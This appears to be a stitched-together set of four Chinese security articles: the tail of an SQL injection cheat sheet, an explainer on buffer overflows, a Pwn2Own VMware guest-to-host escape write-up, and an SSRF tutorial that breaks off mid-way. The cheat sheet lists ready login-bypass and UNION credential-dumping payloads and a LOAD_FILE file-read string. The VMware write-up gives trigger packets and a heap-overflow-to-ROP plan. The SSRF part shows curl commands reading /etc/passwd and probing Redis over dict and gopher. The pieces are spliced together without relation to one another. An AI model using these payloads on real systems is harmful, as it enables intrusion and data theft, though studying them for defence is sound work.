l SELECT CASE WHEN condition THEN true-part ELSE false-part END; (P)
SELECT CASE WEHEN (1=1) THEN 'A' ELSE 'B'END;
使用了If语句的注入攻击样例
l if ((select user) = 'sa' OR (select user) = 'dbo') select 1 else select 1/0
(S)
如果当前用户不是"sa"或者"dbo",那么系统就会抛出一个divide by zero error。
整数(Integers)的使用
这种方法对于绕过是十分有用的，比如magic_quotes() 和其他类似过滤器，甚至是各种WAF。
l 0xHEXNUMBER (SM)
你可以这样使用十六进制数：
SELECT CHAR(0x66) (S)
SELECT 0x5045 (这不是一个整数，而是一个十六进制字符串) (M)
SELECT 0x50 + 0x45 (现在这是一个整数了！) (M)
字符串操作
这是一个与字符串有关的操作。这对于构造一个不含有引号的注入语句非常有用，我们还可以利用这种方法来绕过或探测终端数据库。
字符串的串联
l + (S)
SELECT login + '-' + password FROM members
l || (*MO)
SELECT login || '-' || password FROM members
*关于MySQL的"||"
仅在ANSI模式下的MySQL会对这个符号执行运算，其他情况下系统都会将其当成'逻辑操作符'并返回一个0。在这里更好的做法是使用MySQL中的CONCAT()函数。
l CONCAT(str1, str2, str3, …) (M)
Concatenate supplied strings.
SELECT CONCAT(login, password) FROM members
没有引号的字符串
我们有很多直接使用字符串的方法，但是这几个方法是一直可用的：即使用CHAR()(MS)和CONCAT()(M)来生成没有引号的字符串。
l 0x457578 (M) – 十六进制编码的字符串
SELECT 0x457578
这在MySQL中会被当做字符串处理。
在MySQL中生成十六进制字符串的一个简单方式如下：
SELECT CONCAT('0x',HEX('c:\boot.ini'))
l 在MySQL中使用CONCAT()函数
SELECT CONCAT(CHAR(75),CHAR(76),CHAR(77)) (M)
系统将会返回'KLM'。
l SELECT CHAR(75)+CHAR(76)+CHAR(77) (S)
系统将会返回'KLM'。
l SELECT CHR(75)||CHR(76)||CHR(77) (O)
系统将会返回'KLM'。
l SELECT (CHaR(75)||CHaR(76)||CHaR(77)) (P)
系统将会返回'KLM'。
十六进制的注入攻击样例
l SELECT LOAD_FILE(0x633A5C626F6F742E696E69) (M)
攻击者可以利用这条语句获取到目标主机中c: /boot.ini的内容。
字符串异化(Modification)与联系
l ASCII() (SMP)
这条语句将返回最左边字符的ASCII码值。这是一个用于盲注的重要函数。
SELECT ASCII('a')
l CHAR() (SM)
把整数转换为对应ASCII码字符
SELECT CHAR(64)
Union注入
这个方法能够帮助你实现跨表查询。也就是说，你可以注入一条查询语句，并且从另一个表中获取到查询内容。
SELECT header, txt FROM news UNION ALL SELECT name, pass FROM members
这条语句将会把news表和members表中的内容合并返回给用户。
另一个示例：
' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1–
UNION的语言问题处理
当我们准备使用Union来实现注入的时候，经常会遇到一些错误和问题，这是由于不同的语言设置所引起的（表的设置、字段设置、表或数据库的设置等等）。这些函数将会有效地帮助我们解决这些问题，尤其是当你在处理日文，俄文，土耳其文的时候，你就会发现这些函数真的很实用。
l SQL Server (S)
使用 COLLATE SQL_Latin1_General_Cp1254_CS_AS(S)或者其它的语句，具体信息请查看SQL Server的技术文档。
SELECT header FROM news UNION ALL SELECT name COLLATE
SQL_Latin1_General_Cp1254_CS_AS FROM members
l MySQL (M)
Hex()这个函数基本上可以解决所有的问题。
绕过登陆界面(SMO+)
SQL注入中的登录技巧
l admin' —
l admin' #
l admin'/*
l ' or 1=1–
l ' or 1=1#
l ' or 1=1/*
l ') or '1'='1–
l ') or ('1'='1–
l ….
l 以不同的用户身份登录 (SM*)
' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1—
**旧版本的MySQL不支持union*
绕过登录界面的MD5哈希检测
如果程序首先使用用户名记录来查询数据库，然后读取密码的MD5值并与你所提供的密码MD5值进行对比，那么你就需要一些额外的技巧才能绕过这一步的验证。你可以将一个已知明文的MD5哈希和它的明文一起提交，使得程序不使用从数据库中读取出的密码哈希值，迫使系统使用你所提供的哈希值进行比较。
绕过MD5哈希检测的示例(MSP)
用户名 : admin
密码 : 1234 ' AND 1=0 UNION ALL SELECT 'admin',
'81dc9bdb52d04dc20036dbd8313ed055
81dc9bdb52d04dc20036dbd8313ed055 = MD5(1234)
**由于篇幅有限，如果大家对这方面的内容感兴趣的话，请阅读原文。** | 社区文章 |
# 【缺陷周话】第 7 期 ：缓冲区上溢
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
>
> 代码审计是使用静态分析发现源代码中安全缺陷的方法，能够辅助开发或测试人员在软件上线前较为全面地了解其安全问题，防患于未然，因此一直以来都是学术界和产业界研究的热点，并且已经成为安全开发生命周期
> SDL 和 DevSecOps 等保障体系的重要技术手段。
>
> 360代码卫士团队基于自主研发的国内首款源代码安全检测商用工具，以及十余年漏洞技术研究的积累，推出“缺陷周话”系列栏目。每周针对 CWE、OWASP
> 等标准中的一类缺陷，结合实例和工具使用进行详细介绍，旨在为广大开发和安全人员提供代码审计的基础性标准化教程。
## 1、缓冲区上溢
缓冲区溢出是指向缓冲区填充数据时溢出了缓冲区的边界导致覆盖相邻的内存而导致的安全问题。造成缓冲区溢出的原因有很多，其中主要的原因包括：
> 1、C/C++
> 语言中存在一系列危险函数，这些函数在对缓冲区进行操作时，不执行边界检查，很容易导致溢出。（如：strcpy、strcat、sprintf、gets等）
>
>
> 2、数据来源于不可信源，当缓冲区操作依赖于不可信源数据的输入时，是导致缓冲区溢出的另一个重要原因。这些不可信源包括：命令行参数、配置文件、网络通讯、数据库、环境变量、注册表值以及其他来自应用程序以外的输入等。
缓冲区溢出又可以细分为缓冲区上溢和缓冲区下溢。缓冲区上溢是指当填充数据溢出时，溢出部分覆盖的是上级缓冲区；而与之对应的是缓冲区下溢，是指当填充数据溢出时，溢出部分覆盖的是下级缓冲区。本文主要介绍缓冲区上溢的相关内容，后续专题会对缓冲区下溢进行描述。
## 2、 缓冲区上溢的危害
缓冲区上溢是 C/C++
程序中非常严重的漏洞类型，可能会导致程序崩溃、执行恶意代码等后果。2018年1月至10月，CVE中共有456条漏洞信息与其相关。部分漏洞如下：
CVE | 漏洞概述
---|---
CVE-2018-1000810 | Rust 编程语言标准库版本
1.29.0、1.28.0、1.27.2、1.27.1、127.0、126.2、126.1 和 126.0 中包含标准库中的 CWE-680
漏洞即因整数溢出造成的缓冲区溢出漏洞。攻击似乎可通过 str::repeat利用，传递大量数据，导致内部缓冲溢出。漏洞似乎已在版本1.29.1 中修复。
CVE-2018-1000804 | Contiki-ng 版本4包含 AQL（Antelope
查询语言）数据库引擎中的缓冲区溢出漏洞，可能导致攻击者能够在使用 Contiki-NG
操作系统的设备上执行远程代码。攻击发生的前提是攻击者必须能够运行恶意的 AQL 代码（例如通过类似 SQL 注入的攻击）。
CVE-2018-1000663 | Jsish 版本 2.4.702.047 包含一个来自 jsiEval.c 的函数 jsievalcode
中的缓冲区溢出漏洞，它因分段错误而导致崩溃。此攻击似乎可以通过受害者必须执行精心构造的 javascript 代码实施。
## 3 、示例代码
示例源于 Samate Juliet Test Suite for C/C++ v1.3
(<https://samate.nist.gov/SARD/testsuite.php)>，源文件名：CWE124_Buffer_Underwrite__new_char_cpy_01.cpp
### 3.1缺陷代码
在上述示例代码中，在第35行对 data 进行赋值，通过赋值操作可以看出指针 data 指向的内存地址在 dataBuffer 之前，当第43行使用
srtcpy() 进行内存拷贝时，源缓冲区长度大于目的缓冲区长度从而产生溢出，溢出部分超出了 dataBuffer 的上边界，导致缓冲区上溢问题。
使用360代码卫士对上述示例代码进行检测，可以检出“缓冲区上溢”缺陷，显示等级为高。如图1所示：
图1 缓冲区上溢检测示例
### 3.2 修复代码
在上述修复代码中，Samate 给出的修复方式为：在第35行对指针 data 进行赋值，将 data 指向 dataBuffer ，此时 data 的长度与
dataBuffer 一致，当第43行进行拷贝操作时，源缓冲区与目的缓冲区长度相同，从而避免了缓冲区上溢的问题。该问题也可以通过对边界进行检查来进行修复。
使用360代码卫士对修复后的代码进行检测，可以看到已不存在“缓冲区上溢”缺陷。如图2：
图2：修复后检测结果
## 4 、如何避免缓冲区上溢
要避免缓冲区上溢，需要注意以下几点：
（1）尽量避免使用不安全的内存操作函数。如：
函数 | 举例
---|---
有关字符串拷贝的API | strcpy、 wcscpy、 _tcscpy、
_mbscpy、StrCpy、StrCpyA、StrCpyW、lstrcpy、lstrcpyA、lstrcpyW、strcpyA、strcpyW、
_tccpy、 _mbccpy
有关字符串合并的API | strcat、wcscat、
_tcscat、_mbscat、StrCat、StrCatA、StrCatW、lstrcat、lstrcatA、lstrcatW、StrCatBuffW、StrCatBuff、StrCatBuffA、StrCatChainW、strcatA、strcatW、
_tccat、 _mbccat
有关 sprintf 的API | wnsprintf、
wnsprintfA、wnsprintfW、sprintfW、sprintfA、wsprintf、wsprintfW、wsprintfA、sprintf、swprintf、
_stprintf
（2）在向缓冲区中填充数据时必须进行边界检查。尤其当使用外部输入数据作为数据源进行内存相关操作时，应格外注意进行边界检查，污染数据是造成缓冲区上溢的重要原因之一。 | 社区文章 |
作者：[acez@长亭科技](https://zhuanlan.zhihu.com/p/27733895?utm_medium=social&utm_source=wechat_timeline&from=timeline&isappinstalled=1)
中文翻译：[kelwin](http://weibo.com/kelwinyang)
#### 1\. 介绍
2017年3月，长亭安全研究实验室（Chaitin Security Research Lab）参加了 Pwn2Own
黑客大赛，我作为团队的一员，一直专注于 VMware Workstation Pro
的破解，并成功在赛前完成了一个虚拟机逃逸的漏洞利用。（很不）幸运的是，就在 Pwn2Own 比赛的前一天（3月14日），VMware
发布了一个新的版本，其中修复了我们所利用的漏洞。在本文中，我会介绍我们从发现漏洞到完成利用的整个过程。感谢@kelwin
在实现漏洞利用过程中给予的帮助，也感谢 ZDI 的朋友，他们近期也发布了一篇相关博客，正是这篇博文促使我们完成本篇 writeup。
本文主要由三部分组成：首先我们会简要介绍 VMware 中的 RPCI 机制，其次我们会描述本文使用的漏洞，最后讲解我们是如何利用这一个漏洞来绕过 ASLR
并实现代码执行的。
#### 2\. VMware RPCI 机制
VMware 实现了多种虚拟机（下文称为guest）与宿主机（下文称文host）之间的通信方式。其中一种方式是通过一个叫做 Backdoor
的接口，这种方式的设计很有趣，guest 只需在用户态就可以通过该接口发送命令。VMware Tools 也部分使用了这种接口来和 host
通信。我们来看部分相关代码（摘自 open-vm-tools 中的 lib/backdoor/backdoorGcc64.c ）：
void
Backdoor_InOut(Backdoor_proto *myBp) // IN/OUT
{
uint64 dummy;
__asm__ __volatile__(
#ifdef __APPLE__
/*
* Save %rbx on the stack because the Mac OS GCC doesn't want us to
* clobber it - it erroneously thinks %rbx is the PIC register.
* (Radar bug 7304232)
*/
"pushq %%rbx" "\n\t"
#endif
"pushq %%rax" "\n\t"
"movq 40(%%rax), %%rdi" "\n\t"
"movq 32(%%rax), %%rsi" "\n\t"
"movq 24(%%rax), %%rdx" "\n\t"
"movq 16(%%rax), %%rcx" "\n\t"
"movq 8(%%rax), %%rbx" "\n\t"
"movq (%%rax), %%rax" "\n\t"
"inl %%dx, %%eax" "\n\t" /* NB: There is no inq instruction */
"xchgq %%rax, (%%rsp)" "\n\t"
"movq %%rdi, 40(%%rax)" "\n\t"
"movq %%rsi, 32(%%rax)" "\n\t"
"movq %%rdx, 24(%%rax)" "\n\t"
"movq %%rcx, 16(%%rax)" "\n\t"
"movq %%rbx, 8(%%rax)" "\n\t"
"popq (%%rax)" "\n\t"
#ifdef __APPLE__
"popq %%rbx" "\n\t"
#endif
: "=a" (dummy)
: "0" (myBp)
/*
* vmware can modify the whole VM state without the compiler knowing
* it. So far it does not modify EFLAGS. --hpreg
*/
:
#ifndef __APPLE__
/* %rbx is unchanged at the end of the function on Mac OS. */
"rbx",
#endif
"rcx", "rdx", "rsi", "rdi", "memory"
);
}
上面的代码中出现了一个很奇怪的指令 inl。在通常环境下（例如 Linux 下默认的 I/O
权限设置），用户态程序是无法执行I/O指令的，因为这条指令只会让用户态程序出错并产生崩溃。而此处这条指令产生的权限错误会被 host 上的
hypervisor 捕捉，从而实现通信。Backdoor 所引入的这种从 guest
上的用户态程序直接和host通信的能力，带来了一个有趣的攻击面，这个攻击面正好满足 Pwn2Own
的要求：“在这个类型（指虚拟机逃逸这一类挑战）中，攻击必须从guest的非管理员帐号发起，并实现在 host 操作系统中执行任意代码”。guest 将
0x564D5868 存入 `$eax`，I/O 端口号 0x5658 或 0x5659 存储在 `$dx`
中，分别对应低带宽和高带宽通信。其它寄存器被用于传递参数，例如$ecx的低16位被用来存储命令号。对于 RPCI 通信，命令号会被设为
`BDOOR_CMD_MESSAGE（=30）`。文件 `lib/include/backdoor_def.h` 中包含了一些支持的 backdoor
命令列表。host 捕捉到错误后，会读取命令号并分发至相应的处理函数。此处我省略了很多细节，如果你有兴趣可以阅读相关源码。
##### 2.1 RPCI
远程过程调用接口 RPCI（Remote Procedure Call
Interface）是基于前面提到的Backdoor机制实现的。依赖这个机制，guest 能够向 host 发送请求来完成某些操作，例如，拖放（Drag n
Drop）/复制粘贴（Copy Paste）操作、发送或获取信息等等。RPCI 请求的格式非常简单：<命令> <参数>。例如 RPCI 请求info-get
guestinfo.ip 可以用来获取guest的IP地址。对于每个 RPCI 命令，在 vmware-vmx 进程中都有相关注册和处理操作。
需要注意的是有些RPCI命令是基于VMCI套接字实现的，但此内容已超出本文讨论的范畴。
#### 3\. 漏洞
花了一些时间逆向各种不同的 RPCI 处理函数之后，我决定专注于分析拖放（Drag n Drop，下面简称为 DnD ）和复制粘贴（Copy
Paste，下面简称为 CP）功能。这部分可能是最复杂的RPCI命令，也是最可能找到漏洞的地方。在深入理解的 DnD/CP
内部工作机理后，可以很容易发现，在没有用户交互的情况下，这些处理函数中的许多功能是无法调用的。DnD/CP
的核心功能维护了一个状态机，在无用户交互（例如拖动鼠标从 host 到 guest 中）情况下，许多状态是无法达到的。
我决定看一看 Pwnfest 2016
上被利用的漏洞，该漏洞在[这个](https://www.vmware.com/security/advisories/VMSA-2016-0019.html)
VMware 安全公告中有所提及。此时我的 idb 已经标上了很多符号，所以很容易就通过 bindiff
找到了补丁的位置。下面的代码是修补之前存在漏洞的函数（可以看出 `services/plugins/dndcp/dnddndCPMsgV4.c`
中有对应源码，漏洞依然存在于 [open-vm-tools](https://github.com/vmware/open-vm-tools) 的 git
仓库的 master 分支当中）：
static Bool
DnDCPMsgV4IsPacketValid(const uint8 *packet,
size_t packetSize)
{
DnDCPMsgHdrV4 *msgHdr = NULL;
ASSERT(packet);
if (packetSize < DND_CP_MSG_HEADERSIZE_V4) {
return FALSE;
}
msgHdr = (DnDCPMsgHdrV4 *)packet;
/* Payload size is not valid. */
if (msgHdr->payloadSize > DND_CP_PACKET_MAX_PAYLOAD_SIZE_V4) {
return FALSE;
}
/* Binary size is not valid. */
if (msgHdr->binarySize > DND_CP_MSG_MAX_BINARY_SIZE_V4) {
return FALSE;
}
/* Payload size is more than binary size. */
if (msgHdr->payloadOffset + msgHdr->payloadSize > msgHdr->binarySize) { // [1]
return FALSE;
}
return TRUE;
}
Bool
DnDCPMsgV4_UnserializeMultiple(DnDCPMsgV4 *msg,
const uint8 *packet,
size_t packetSize)
{
DnDCPMsgHdrV4 *msgHdr = NULL;
ASSERT(msg);
ASSERT(packet);
if (!DnDCPMsgV4IsPacketValid(packet, packetSize)) {
return FALSE;
}
msgHdr = (DnDCPMsgHdrV4 *)packet;
/*
* For each session, there is at most 1 big message. If the received
* sessionId is different with buffered one, the received packet is for
* another another new message. Destroy old buffered message.
*/
if (msg->binary &&
msg->hdr.sessionId != msgHdr->sessionId) {
DnDCPMsgV4_Destroy(msg);
}
/* Offset should be 0 for new message. */
if (NULL == msg->binary && msgHdr->payloadOffset != 0) {
return FALSE;
}
/* For existing buffered message, the payload offset should match. */
if (msg->binary &&
msg->hdr.sessionId == msgHdr->sessionId &&
msg->hdr.payloadOffset != msgHdr->payloadOffset) {
return FALSE;
}
if (NULL == msg->binary) {
memcpy(msg, msgHdr, DND_CP_MSG_HEADERSIZE_V4);
msg->binary = Util_SafeMalloc(msg->hdr.binarySize);
}
/* msg->hdr.payloadOffset is used as received binary size. */
memcpy(msg->binary + msg->hdr.payloadOffset,
packet + DND_CP_MSG_HEADERSIZE_V4,
msgHdr->payloadSize); // [2]
msg->hdr.payloadOffset += msgHdr->payloadSize;
return TRUE;
}
对于 Version 4 的 DnD/CP 功能，当 guest 发送分片 DnD/CP 命令数据包时，host 会调用上面的函数来重组 guest 发送的
DnD/CP 消息。接收的第一个包必须满足 payloadOffset 为 0，binarySize 代表堆上分配的 buffer
长度。[1]处的检查比较了包头中的 binarySize，用来确保 payloadOffset 和 payloadSize
不会越界。在[2]处，数据会被拷入分配的 buffer
中。但是[1]处的检查存在问题，它只对接收的第一个包有效，对于后续的数据包，这个检查是无效的，因为代码预期包头中的 binarySize
和分片流中的第一个包相同，但实际上你可以在后续的包中指定更大的 binarySize 来满足检查，并触发堆溢出。
所以，该漏洞可以通过发送下面的两个分片来触发：
packet 1{
...
binarySize = 0x100
payloadOffset = 0
payloadSize = 0x50
sessionId = 0x41414141
...
#...0x50 bytes...#
}
packet 2{
...
binarySize = 0x1000
payloadOffset = 0x50
payloadSize = 0x100
sessionId = 0x41414141
...
#...0x100 bytes...#
}
有了以上的知识，我决定看看 Version 3 中的 DnD/CP 功能中是不是也存在类似的问题。令人惊讶的是，几乎相同的漏洞存在于 Version 3
的代码中（这个漏洞最初通过逆向分析来发现，但是我们后来意识到 v3 的代码也在 open-vm-tools 的 git 仓库中）：
Bool
DnD_TransportBufAppendPacket(DnDTransportBuffer *buf, // IN/OUT
DnDTransportPacketHeader *packet, // IN
size_t packetSize) // IN
{
ASSERT(buf);
ASSERT(packetSize == (packet->payloadSize + DND_TRANSPORT_PACKET_HEADER_SIZE) &&
packetSize <= DND_MAX_TRANSPORT_PACKET_SIZE &&
(packet->payloadSize + packet->offset) <= packet->totalSize &&
packet->totalSize <= DNDMSG_MAX_ARGSZ);
if (packetSize != (packet->payloadSize + DND_TRANSPORT_PACKET_HEADER_SIZE) ||
packetSize > DND_MAX_TRANSPORT_PACKET_SIZE ||
(packet->payloadSize + packet->offset) > packet->totalSize || //[1]
packet->totalSize > DNDMSG_MAX_ARGSZ) {
goto error;
}
/*
* If seqNum does not match, it means either this is the first packet, or there
* is a timeout in another side. Reset the buffer in all cases.
*/
if (buf->seqNum != packet->seqNum) {
DnD_TransportBufReset(buf);
}
if (!buf->buffer) {
ASSERT(!packet->offset);
if (packet->offset) {
goto error;
}
buf->buffer = Util_SafeMalloc(packet->totalSize);
buf->totalSize = packet->totalSize;
buf->seqNum = packet->seqNum;
buf->offset = 0;
}
if (buf->offset != packet->offset) {
goto error;
}
memcpy(buf->buffer + buf->offset,
packet->payload,
packet->payloadSize);
buf->offset += packet->payloadSize;
return TRUE;
error:
DnD_TransportBufReset(buf);
return FALSE;
}
Version 3 的 DnD/CP 在分片重组时，上面的函数会被调用。此处我们可以在[1]处看到与之前相同的情形，代码依然假设后续分片中的
totalSize 会和第一个分片一致。因此这个漏洞可以用和之前相同的方法触发：
packet 1{
...
totalSize = 0x100
payloadOffset = 0
payloadSize = 0x50
seqNum = 0x41414141
...
#...0x50 bytes...#
}
packet 2{
...
totalSize = 0x1000
payloadOffset = 0x50
payloadSize = 0x100
seqNum = 0x41414141
...
#...0x100 bytes...#
}
在 Pwn2Own
这样的比赛中，这个漏洞是很弱的，因为它只是受到之前漏洞的启发，而且甚至可以说是同一个。因此，这样的漏洞在赛前被修补并不惊讶（好吧，也许我们并不希望这个漏洞在比赛前一天被修复）。对应的
VMware
安全公告在[这里](https://www.vmware.com/security/advisories/VMSA-2017-0005.html)。受到这个漏洞影响的
VMWare Workstation Pro 最新版本是12.5.3。
接下来，让我们看一看这个漏洞是如何被用来完成从 guest 到 host 的逃逸的！
#### 4\. 漏洞利用
为了实现代码执行，我们需要在堆上覆盖一个函数指针，或者破坏C++对象的虚表指针。
首先让我们看一看如何将 DnD/CP 协议的设置为 version 3，依次发送下列 RPCI 命令即可：
tools.capability.dnd_version 3
tools.capability.copypaste_version 3
vmx.capability.dnd_version
vmx.capability.copypaste_version
前两行消息分别设置了 DnD 和 Copy/Paste 的版本，后续两行用来查询版本，这是必须的，因为只有查询版本才会真正触发版本切换。RPCI 命令
`vmx.capability.dnd_version` 会检查 DnD/CP 协议的版本是否已被修改，如果是，就会创建一个对应版本的C对象。对于
version 3，2个大小为 0xA8 的C对象会被创建，一个用于 DnD 命令，另一个用于 Copy/Paste 命令。
这个漏洞不仅可以让我们控制分配的大小和溢出的大小，而且能够让我们进行多次越界写。理想的话，我们可以用它分配大小为0xA8的内存块，并让它分配在C对象之前，然后利用堆溢出改写C对象的
vtable 指针，使其指向可控内存，从而实现代码执行。
这并非易事，在此之前我们必须解决一些其他问题。首先我们需要找到一个方法来绕过 ASLR，同时处理好Windows Low Fragmented Heap。
##### 4.1 绕过ASLR
一般来说，我们需要找到一个对象，通过溢出来影响它，然后实现信息泄露。例如破坏一个带有长度或者数据指针的对象，并且可以从guest读取，然而我们没有找到这种对象。于是我们逆向了更多的RPCI命令处理函数，来寻找可用的东西。那些成对的命令特别引人关注，例如你能用一个命令来设置一些数据，同时又能用相关命令来取回数据，最终我们找到的是一对命令info-set和info-get：
info-set guestinfo.KEY VALUE
info-get guestinfo.KEY
VALUE 是一个字符串，字符串的长度可以控制堆上 buffer
的分配长度，而且我们可以分配任意多的字符串。但是如何用这些字符串来泄露数据呢？我们可以通过溢出来覆盖结尾的null字节，让字符串连接上相邻的内存块。如果我们能够在发生溢出的内存块和
DnD 或 CP 对象之间分配一个字符串，那么我们就能泄露对象的 vtable 地址，从而我们就可以知道 vmware-vmx 的地址。尽管 Windows
的 LFH 堆分配存在随机化，但我们能够分配任意多的字符串，因此可以增加实现上述堆布局的可能性，但是我们仍然无法控制溢出buffer后面分配的是 DnD
还是 CP 对象。经过我们的测试，通过调整一些参数，例如分配和释放不同数量的字符串，我们可以实现60%到80%的成功率。
下图总结了我们构建的堆布局情况（Ov代表溢出内存块，S代表String，T代表目标对象）。
我们的策略是：首先分配一些填满“A”的字符串，然后通过溢出写入一些“B”，接下来读取所有分配的字符串，其中含有“B”的就是被溢出的字符串。这样我们就找到了一个字符串可以被用来读取泄露的数据，然后以
bucket 的内存块大小 0xA8 的粒度继续溢出，每次溢出后都检查泄露的数据。由于 DnD 和 CP 对象的 vtable 距离 vmware-vmx
基地址的偏移是固定的，每次溢出后只需要检查最低一些数据位，就能够判断溢出是否到达了目标对象。
##### 4.2 获取代码执行
现在我们实现了信息泄露，也能知道溢出的是哪个C++对象，接下来要实现代码执行。我们需要处理两种情形：溢出 CopyPaste 和 DnD
。需要指出的是能利用的代码路径有很多，我们只是选择了其中一个。
###### 4.2.1 覆盖 CopyPaste 对象
对于 CopyPaste
对象，我们可以覆盖虚表指针，让它指向我们可控的其他数据。我们需要找到一个指针，指针指向的数据是可控并被用做对象的虚表。为此我们使用了另一个 RPCI 命令
`unity.window.contents.start`。这个命令主要用于 Unity 模式下，在 host 上绘制一些图像。这个操作可以让我们往相对
vmware-vmx
偏移已知的位置写入一些数据。该命令接收的参数是图像的宽度和高度，二者都是32位，合并起来我们就在已知位置获得了一个64位的数据。我们用它来作为虚表中的一个指针，通过发送一个
CopyPast 命令即可触发该虚函数调用，步骤如下：
* 发送 `unity.window.contents.start` 命令，通过指定参数宽度和高度，往全局变量处写入一个64位的栈迁移 gadget 地址
* 覆盖对象虚表指针，指向伪造的虚表（调整虚表地址偏移）
* 发送 CopyPaste 命令，触发虚函数调用
* ROP
###### 4.2.2 覆盖DnD对象
对于 DnD 对象，我们不能只覆盖 vtable 指针，因为在发生溢出之后 vtable 会立马被访问，另一个虚函数会被调用，而目前我们只能通过 unity
图像的宽度和高度控制一个 qword，所以无法控制更大的虚表。
让我们看一看 DnD 和 CP 对象的结构，总结如下（一些类似的结构可以在 open-vm-tools 中找到，但是在 vmware-vmx
中会略有区别）：
DnD_CopyPaste_RpcV3{
void * vtable;
...
uint64_t ifacetype;
RpcUtil{
void * vtable;
RpcBase * mRpc;
DnDTransportBuffer{
uint64_t seqNum;
uint8_t * buffer;
uint64_t totalSize;
uint64_t offset;
...
}
...
}
}
RpcBase{
void * vtable;
...
}
我们在此省略了结构中很多与本文无关的属性。对象中有个指针指向另一个C++对象 RpcBase，如果我们能用一个可控数据的指针的指针覆盖 mRpc
这个域，那我们就控制了 RpcBase 的 vtable。对此我们可以继续使用 `unity.window.contents.start` 命令来来控制
mRpc，该命令的另一个参数是 imgsize，这个参数代表分配的图像 buffer 的大小。这个 buffer 分配出来后，它的地址会存在 vmware-vmx 的固定偏移处。我们可以使用命令 `unity.window.contents.chunk` 来填充 buffer 的内容。步骤如下：
* 发送unity.window.contents.start命令来分配一个buffer，后续我们用它来存储一个伪造的vtable。
* 发送unity.window.contents.chunk命令来填充伪造的vtable，其中填入一个栈迁移的gadget
* 通过溢出覆盖DnD对象的mRpc域，让它指向存储buffer地址的地方（某全局变量处），即写入一个指针的指针
* 通过发送DnD命令来触发mRpc域的虚函数调用
* ROP
P.S：vmware-vmx 进程中有一个可读可写可执行的内存页（至少在版本12.5.3中存在）。
##### 4.3 稳定性讨论
正如前面提及的，因为 Windows LFH 堆的随机化，当前的 exploit 无法做到 100% 成功率。不过可以尝试下列方法来提高成功率：
* 观察 0xA8 大小的内存分配，考虑是否可以通过一些malloc和free的调用来实现确定性的LFH分配，参考[这里](http://illmatics.com/Understanding_the_LFH.pdf)和[这里](https://www.blackhat.com/docs/us-16/materials/us-16-Yason-Windows-10-Segment-Heap-Internals-wp.pdf)。
* 寻找堆上的其他C++对象，尤其是那些可以在堆上喷射的
* 寻找堆上其他带有函数指针的对象，尤其是那些可以在堆上喷射的
* 找到一个独立的信息泄漏漏洞
* 打开更多脑洞
##### 4.4 演示效果
演示视频：[VMware workstation
12.5.3逃逸演示](http://v.youku.com/v_show/id_XMjg3MjcwMzU4MA==.html?spm=a2h3j.8428770.3416059.1)
#### 5\. 感想与总结
“No pwn no fun”，如果你想参加 Pwn2Own 这样的比赛，你就需要准备多个漏洞，或者找到高质量的漏洞。
* * * | 社区文章 |
## **前言：**
**学习新知识，这次通过Weblogic 存在的SSRF漏洞和ssrf-lab，来学习SSRF漏洞**
## 0x00 了解SSRF
### SSRF简介：
`SSRF(Server-Side Request
Forgery)`，即服务器端请求伪造，利用漏洞伪造服务器端发起请求，从而突破客户端获取不到数据限制，本质上是属于信息泄露漏洞。
### **SSRF漏洞原理：**
`SSRF` 形成的原因大都是由于 **服务端** 提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制
。比如从指定URL地址获取网页文本内容，加载指定地址的图片，下载等等，而且在大部分的 **web服务器架构中** ， **web服务器**
自身是可以访问互联网和 **服务器所在的内网** 的，所以攻击者可以传入任意的地址来让 **后端服务器** 对其发起请求,并返回对该目标地址请求的数据
而且在一般情况下，`SSRF`攻击的目标是外网无法访问的内部系统(即内网)，所以SSRF漏洞也可以用一句话来进行总结：
**利用一个可以发起网络请求的服务当作跳板来攻击内部其他服务**
### gopher、dict协议以及redis服务、Curl 命令
`Gopher` 协议可以做很多事情，特别是在 SSRF 中可以发挥很多重要的作用。利用此协议可以攻击内网的
`FTP、Telnet、Redis、Memcache`，也可以进行 `GET、POST` 请求。
`DICT`协议,一个字典服务器协议,`A Dictionary Server
Protocol`，允许客户端在使用过程中访问更多字典并且该协议约定服务器端侦听端口号:`2628`。
`redis`服务是在`6379`端口开启的
这些我们大致了解一下知道其用处即可
**curl** 命令在SSRF漏洞有非常重要的作用，所以这里就简单介绍一下 **curl** 命令：
> curl 是常用的命令行工具，用来请求 Web 服务器。它的名字就是客户端（client）的 URL 工具的意思
不带有任何参数时，curl 就是发出 GET 请求
$ curl https://www.example.com
上面命令向`www.example.com`发出 GET 请求，服务器返回的内容会在命令行输出
`-v`参数输出通信的整个过程，用于调试。我们便可以利用`-v`参数进行读取文件
使用file协议curl -v file:///etc/passwd
使用ftp协议 curl -v "ftp://127.0.0.1:端口/info"
使用dict协议 curl -v "dict://127.0.0.1:端口/info"
使用gopher协议 curl -v "gopher://127.0.0.1:端口/_info"
其他参数可以参考[curl](http://www.ruanyifeng.com/blog/2019/09/curl-reference.html)
### 常见内网IP段
局域网地址范围分三类，以下IP段为内网IP段：
C类：192.168.0.0 - 192.168.255.255
B类：172.16.0.0 - 172.31.255.255
A类：10.0.0.0 - 10.255.255.255
### **SSRF漏洞的挖掘与利用：**
存在`SSRF`漏洞的站点主要利用四个协议，分别是`http、file、gopher、dict`协议
`file`协议进行本地文件的读取
`http`协议进行内网的ip扫描、端口探测
探测到`6379`端口开放，可以利用`http、gopher、dict`这几个协议来打开放`6379`端口的`redis`服务。
正如上图所示，SSRF挖掘与利用方式有很多，只通过理论是无法理解一些东西的，下面就练习一下：
## 0x01 ssrf-lab
OUTGOING WEBHOOK 输入的`https://yourhandler.io/events`是有 REST API 监听的需要测试项目
在 SEE THE RESULT 的部分会显示请求响应的结果和状态码
下面就先测试一下`127.0.0.1`，发现有回显数据，说明这里没有对内网ip进行限制
上面了解了SSRF可以通过几种协议来进行读取文件，在这里就进行测试一下：
使用`file:///etc/passwd`读取用户密码,发现是可以读取
除此之外，利用这个协议可以读取主机内任意文件。接下来可以读取配置文件和源代码方便进一步的渗透，这里之所以成功实现是因为URL没有经过严格的过滤，所以才可以利用这个协议进行任意文件读取。
在上面还介绍过`redis`服务，看了很多`SSRF` 协议中的利用都是结合 Redis 服务的，所以这里就先在`ssrf-basics`
容器里面安装该服务
$ docker ps #查看容器编号
$ docker exec -it 容器编号 /bin/bash #进入容器
$ apt-get install redis-server # 安装redis服务
$ redis-server #开启redis服务
安装好之后，便可以利用协议收集信息及反弹 shell
